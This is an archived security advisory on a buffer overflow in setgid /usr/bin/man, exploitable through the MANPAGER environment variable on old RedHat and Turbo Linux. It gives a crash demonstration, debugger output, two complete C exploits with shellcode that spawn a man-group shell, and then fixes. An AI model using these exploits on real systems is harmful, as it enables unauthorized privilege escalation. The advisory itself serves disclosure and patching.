COMMAND
man
SYSTEMS AFFECTED
RedHat 6.1, Turbo Linux 6.0.2 and earlier
PROBLEM
Michal Zalewski found following. With most of Linux distributions
/usr/bin/man is shipped as setgid man. This setgid bit is
required to build formatted manpages in /var/catman for faster
access. Unfortunately, man does almost everything via system()
calls, where parameters are user-dependent, and almost always
it's sprintf'ed before to fixed size buffers. It's kinda trivial
to gain man privledges, using buffer overflows in enviromental
variables. For example, by specyfing MANPAGER variable with approx
4k 'A' letters, you'll get SEGV:
$ MANPAGER=`perl -e '{print "A"x4000}'` man ls
[...]
1200 setuid(500) = 0
1200 setgid(15) = 0
1200 open("/usr/share/locale/pl/man", O_RDONLY) = -1 ENOENT (No such file or directory)
1200 open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No such file or directory)1200 open("/usr/share/locale/pl/man", O_RDONLY) = -1 ENOENT (No such file or directory)
1200 open("/usr/share/locale/pl/LC_MESSAGES/man", O_RDONLY) = -1 ENOENT (No such file or directory)1200 close(-1) = -1 EBADF (Bad file descriptor)
1200 write(2, "Error executing formatting or display command.\nSystem command (cd /usr/man ; (echo
1200 --- SIGSEGV (Naruszenie ochrony pamiêci) ---
1200 +++ killed by SIGSEGV +++
Program received signal SIGSEGV, Segmentation fault.
0x41414141 in ?? ()
As you can see, SEGV occours when we're at privledged level (after
setgid man) and is trivially exploitable (generic stack overflow).
What then? We have 'man' privledges and write access to
/var/catman directory tree (less interesting, can be used to mess
around with man output), and, usually, to some /usr/man files (it
shouldn't be possible, but some compilers, like cpp, and programs
like fetchmail, for some reasons have g+w manpages on many
systems). Some time ago Pawel Wilk described possible
vulnerability in manpage processing - execution of arbitrary code
when evil manpage is being browsed... Sample manpage is available
at:
ftp://dione.ids.pl/people/siewca/security/man/mkroot.9
http://oliver.efri.hr/~crv/security/bugs/mUNIXes/groff.html
So, if you have write access to some manpages, and root uses man,
there's a chance to gain root privledges. If not, only lusers are
affected.
This might be a side effect of the fix for another security hole.
IIRC, /var/catman/ was world writable allowing for all kinds of
symlink games which would allow ordinary users to do some things
as root (like clobbering files) by laying a trap in /var/catman/
and waiting for root to run man. Exploiting this buffer overflow
bug to gain man priveledges would then allow you to exploit the
previous bugs as well if root runs "man" (or possibly the
priveledges of any user who runs man). If you need to run man as
root, consider:
su nobody -c "man ls" # assumes shell is /bin/bash
Or just switch to another console or window. The man program was
never designed to be secure but having a shared manpage cache
requires man to be secure. If you disable man page caching, you
should be able to run man without setgid.
Mario Paskual posted Linux sgid exploit:
/*
***************************************************
*** agroMANauer.c ***
*** linux SGID-man exploit ***
*** by buterfree@lettera.net 2000 ***
*** tested on RedHat 5.1 ***
*** It gives an egid-man shell ***
*** ***
*** Dedicado a Juan, Jor y la gente del chamizu ***
*** (Ehhh tio, la guerra acaba de Empezar) ***
***************************************************
*/
#include <stdio.h>
#define BUF_SIZE 5000
#define POS_RET 3500
#define RETADDR 0xbfffefef
// shellcode
char shellcode[] = // 48 caracteres
"\xeb\x22\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x31\xc0\xaa"
"\x89\xf9\x89\xf0\xab\x89\xfa\x31\xc0\xab\xb0\x08\x04"
"\x03\xcd\x80\x31\xdb\x89\xd8\x40\xcd\x80\xe8\xd9\xff"
"\xff\xff/bin/sh";
void main (int argc, char *argv[]) {
int i;
FILE *f;
char buf[BUF_SIZE];
long retaddr, offset;
printf ("\n");
printf ("****************************************\n");
printf ("* agroMANauer (linux SGID-man exploit) *\n");
printf ("* by buterfree@lettera.net 2000 * \n");
printf ("**************************************** \n\n");
printf ("Try offsets -3000,0,3000,...\n");
printf ("Use : %s [offset] \n", argv[0]);
offset = 0;
if (argc>1) {
offset = atol (argv[1]);
}
retaddr = RETADDR + offset;
printf ("Return Address = 0x%x \n",retaddr);
// Fill buffer with NOP's
memset (buf, 0x90, BUF_SIZE);
buf[BUF_SIZE]=0;
// Copy Return Address
for (i=POS_RET; i<=BUF_SIZE-10; i+=4) {
*(long*)(buf+i) = (long) retaddr;
}
// Copy shellCode
for (i=0; i<strlen(shellcode); i++) {
buf[i+POS_RET-strlen(shellcode)-20] = shellcode[i];
}
// Export TERMCAP
setenv ("MANPAGER", buf, 1);
// Run program
execl ("/usr/bin/man","man","ls",NULL);
}
Here's the another code:
/*
* (c) 2000 babcia padlina / b0f
* (lcamtuf's idea)
*
* redhat 6.1 /usr/bin/man exploit
*/
#include <stdio.h>
#include <sys/param.h>
#include <sys/stat.h>
#include <string.h>
#define NOP 0x90
#define OFS 1800
#define BUFSIZE 4002
#define ADDRS 1000
long getesp(void)
{
__asm__("movl %esp, %eax\n");
}
int main(argc, argv)
int argc;
char **argv;
{
char *execshell =
"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
"\x80\xe8\xdc\xff\xff\xff/bin/sh";
char *buf, *p;
int noplen, i, ofs;
long ret, *ap;
if(!(buf = (char *)malloc(BUFSIZE+ADDRS+1)))
{
perror("malloc()");
return -1;
}
if (argc > 1)
ofs = atoi(argv[1]);
else
ofs = OFS;
noplen = BUFSIZE - strlen(execshell);
ret = getesp() + ofs;
memset(buf, NOP, noplen);
buf[noplen+1] = '\0';
strcat(buf, execshell);
p = buf + noplen + strlen(execshell);
ap = (unsigned long *)p;
for(i = 0; i < ADDRS / 4; i++)
*ap++ = ret;
p = (char *)ap;
*p = '\0';
fprintf(stderr, "RET: 0x%x len: %d\n\n", ret, strlen(buf));
setenv("MANPAGER", buf, 1);
execl("/usr/bin/man", "man", "ls", 0);
return 0;
}
-1000 as offset should work on most redhat 6.1/6.0/5.2 boxes.
SOLUTION
Remove sgid bit from /usr/bin/man (it will be no longer creating
preformatted manpages in /var/catman), or rewrite major portions
of 'man' code. On BSD systems this is parched and on SunOS the
man is not suid/sgid. HPUX 10.20 also does not have suid/sgid
/usr/bin/man. Slackware 7.0 does not appear to be vulnerable.
/usr/bin/man is not setgid in slackware, so although it does
indeed SEGV at the expected location, no privileges are gained.
For Turbo Linux update the package from our ftp server by running
the following command:
rpm -Uv ftp://ftp.turbolinux.com/pub/updates/6.0/security/man-1.5h1-1.i386.rpm
The source rpm can be downloaded here:
ftp://ftp.turbolinux.com/pub/updates/6.0/SRPMS/man-1.5h1-1.src.rpm
Note: You must rebuild and install the rpm if you choose to
download and install the srpm. Simply installing the srpm alone
WILL NOT CLOSE THE SECURITY HOLE.